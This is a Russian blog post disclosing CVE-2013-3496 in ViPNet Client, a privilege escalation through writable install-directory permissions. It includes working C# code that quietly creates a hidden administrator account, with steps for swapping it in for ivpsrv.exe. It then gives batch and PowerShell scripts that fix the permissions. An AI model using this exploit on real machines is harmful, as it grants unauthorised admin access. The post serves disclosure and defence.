Повышаем привелегии в системе при помощи ViPNet Client или уязвимость CVE-2013-3496

Добрый день, Хабравчане!

Относительно недавно в сети появилась CVE-2013-3496 . Благодаря избыточным правам у продуктов ОАО ''Инфотекс'' на установочную директорию, появляется возможность поэксплуатировать произвольный код. Всех интересующихся прошу под кат.



Ещё раз кратко об уязвимости


У многих продуктов компании ОАО «Инфотекс»:
1) По-умолчанию даны максимальные права для любого пользователя на установочную директорию и все файлы в ней.
image

2) Дополнительно имеются ошибки в работе механизма защиты исполняемых файлов от искажения.

Небольшое отступление


В данной статье рассматривается только ViPNet Client. В других продуктах уязвимость аналогична, но могут быть некоторые нюансы и отличия при её эксплуатации. Пусть это будет, в некотором роде, домашним заданием.

Сама суть уязвимости


Любой пользователь, не обладающий административными правами, может поднять свои привилегии в системе, путем замены исполняемого файла ivpsrv.exe на свой собственный.
Данный файл вызывается различными подсистемами СЗИ ViPNet под учётной записью __ViPNet_User__.
image

Для эксплуатации уязвимости от пользователя, помимо физического доступа к ПК, требуется:

1) Заменить файл ivpsrv.exe на свой, уже созданный, исполняемый файл или создать его на месте любыми способами.
2) Перезагрузить ПК или запустить Контроль приложений из оснастки ViPNet Client Монитор.
3) Profit.

Эксплуатируем уязвимость


В нашем случае будет использоваться Windows XP SP3 Eng с установленным .NET 1.1 и СЗИ
ViPNet версии 3.2.9 КС2, сертифицированный ФСТЭК и ФСБ.
Для пущего драматизма, можно заблокировать локального администратора и урезать права для нового пользователя Root до обычного User.
image

По памяти или нет напишем нужный нам код на C#:
using System;
using System.IO;
using System.Diagnostics;

public class Test
{
	public static void Main()
     	{
         ProcessStartInfo ViPHack = new ProcessStartInfo(@"cmd.exe", @"/C net user hacker 
         123 /add /expires:never /passwordchg:no & net localgroup Administrators hacker /add ");
         ViPHack.WindowStyle = ProcessWindowStyle.Hidden;
         ViPHack.RedirectStandardOutput = true;
         ViPHack.UseShellExecute = false;
         ViPHack.CreateNoWindow = true;
         Process procCommand = Process.Start(ViPHack);
         procCommand.WaitForExit();
     	}
}



Соберём.
image

Заменим исходный файл ivpsrv.exe в папке с установленным ViPNet Сlient на наш вновь созданный. И не забудем сделать резервную копию оригинального файла.
image

Теперь у нас 2 варианта действий — перезагрузка ПК или запуск из оснастки ViPNet Сlient ''Монитор''.

Запуск из оснастки

Открываем оснастку ViPNet Сlient ''Монитор'' и запускаем ''Контроль приложений'' (левая нижняя кнопка).
image

Перезапуск системы

При запуске системы появится сообщение об искажении файла ivpsrv.exe. Не обращайте на него внимания — наш код был успешно выполнен.
image

А вот он и результат наших нехитрых действий.
image

Чтобы вернуть всё обратно достаточно возвратить на место оригинальный ivpsrv.exe и ViPNet будет работать дальше как ни в чём не бывало.

Защищаемся


Тем, у кого имеется техподдержка и не волнует факт сертификации, могу посоветовать обратиться за последней версией в ОАО ''Инфотекс''.

Для тех, кому важна именно сертифицированная версия, либо имеются проблемы с покупкой техподдержки, приведено нижеследующие решение.

ВСЕ НИЖЕОПИСАННЫЕ ДЕЙСТВИЯ МОГУТ ПРИВЕСТИ К НЕОБРАТИМЫМ ПОСЛЕДСТВИЯМ И КРАХУ СИСТЕМЫ. ПОЛЬЗУЙТЕСЬ НА СВОЙ СТРАХ И РИСК ТОЛЬКО ПОСЛЕ ТЩАТЕЛЬНОГО ТЕСТИРОВАНИЯ.

Защита сводится лишь к исправлению некорректно назначенных прав доступа.

Для этого потребуется:
1) Перенастроить права доступа на установочную директорию, удалив группу Everyone и дав права на запись группе Users.
2) Изменить права доступа на все исполняемые, и динамически подключаемые файлы в ней, запретив пользователю без административных прав их изменять.

Для автоматизации действий с большим количеством ПК, напишем небольшой батник:
set PROCESSOR=%PROCESSOR_ARCHITECTURE%
if %PROCESSOR%==x86 (
set LOCATION="c:\Program Files\InfoTeCS\ViPNet Client"
) else (
set LOCATION="c:\Program Files (x86)\InfoTeCS\ViPNet Client"
)
cacls.exe %LOCATION% /e /r Everyone
cacls.exe %LOCATION% /e /g Users:w
cacls.exe %LOCATION%\*.exe /e /r Users
cacls.exe %LOCATION%\*.exe /e /g Users:r
cacls.exe %LOCATION%\*.dll /e /r Users
cacls.exe %LOCATION%\*.dll /e /g Users:r

image

Прошу учесть, что все действия производятся в английской версии Windows XP. Для того чтобы скрипт заработал в русской версии, потребуется сменить названия групп на русские эквиваленты и не забыть про кодировку DOS-866.

Дополнительно скрипт был протестирован в локализованной версии Windows 7 32/64. На данный момент, тестовая группа ПК чувствует себя отлично.

И, в качестве бонуса, скрипт для PowerShell:
function NTFSPermissions($path, $action, $object, $permission, $option) {
    $FileSystemRights = [System.Security.AccessControl.FileSystemRights]$permission
    $InheritanceFlag = [System.Security.AccessControl.InheritanceFlags]"ContainerInherit, ObjectInherit"
    $PropagationFlag = [System.Security.AccessControl.PropagationFlags]"None"
    $AccessControlType =[System.Security.AccessControl.AccessControlType]::Allow
    $Account = New-Object System.Security.Principal.NTAccount($object)
    $FileSystemAccessRule = New-Object System.Security.AccessControl.FileSystemAccessRule($Account, $FileSystemRights,$InheritanceFlag, $PropagationFlag, $AccessControlType)
    $DirectorySecurity = Get-ACL $path
    if ($action -eq "Add") {
        $DirectorySecurity.AddAccessRule($FileSystemAccessRule)
        Set-ACL $path -AclObject $DirectorySecurity
    }
    elseif ($action -eq "Remove") {
        if ($option -eq "All") {$DirectorySecurity.RemoveAccessRuleAll($FileSystemAccessRule)}
        else {$DirectorySecurity.RemoveAccessRule($FileSystemAccessRule)}
    Set-ACL $path -AclObject $DirectorySecurity
    }
}

function RemoveInheritance($path) {
    $isProtected = $true
    $preserveInheritance = $true
    $DirectorySecurity = Get-ACL $path
    $DirectorySecurity.SetAccessRuleProtection($isProtected, $preserveInheritance)
    Set-ACL $path -AclObject $DirectorySecurity
}

if ([IntPtr]::Size -eq 4) { $Path = "C:\Program Files\InfoTeCS\ViPNet Client" }
else { $Path = "C:\Program Files (x86)\InfoTeCS\ViPNet Client" }
    
$Path = "C:\Program Files\InfoTeCS\ViPNet Client"

$exeList = Get-ChildItem "C:\Program Files\InfoTeCS\ViPNet Client" -filter *.exe
$dllList = Get-ChildItem "C:\Program Files\InfoTeCS\ViPNet Client" -filter *.dll  

# Remove permissions
# RemoveInheritance $Path
NTFSPermissions $path "Remove" "Everyone" "Modify, ChangePermissions" "All"
NTFSPermissions $path "Add" "Users" "Modify, ChangePermissions"

Foreach ($file in $exeList) {
$exePath = $path + "\" + $File
RemoveInheritance $exePath
NTFSPermissions $exePath "Remove" "Users" "Write"
}

Foreach ($file in $dllList) {
$dllPath = $path + "\" + $File
RemoveInheritance $dllPath
NTFSPermissions $dllPath "Remove" "Users" "Write"
}



Заключение


В заключении я бы хотел обратить внимание — вот на какую вещь. Нет я не хочу ругать компанию ОАО «Инфотекс». Их продукт хоть далеко не идеален, но работает стабильно и предсказуемо. Я бы хотел поругать наши сертификационные органы. Для чего проводятся все эти мероприятия по сертификации? Зачем все эти затягивания сроков? Почему специалисты не видят таких элементарных недоработок? Когда стоит ждать сертифицированную версию Антивируса Бабушкина?

В дополнение хочу выразить благодарность

Хбраюзеру Izzet, без его советов и помощи в анализе уязвимостей данная статья не состоялась бы.
Безымянному заграничному админу, чей PowerShell скрипт лег в основу моего скрипта.
Tags:
infotecs, vipnet

Данная статья не подлежит комментированию, поскольку её автор ещё не является полноправным участником сообщества. Вы сможете связаться с автором только после того, как он получит приглашение от кого-либо из участников сообщества. До этого момента его username будет скрыт псевдонимом.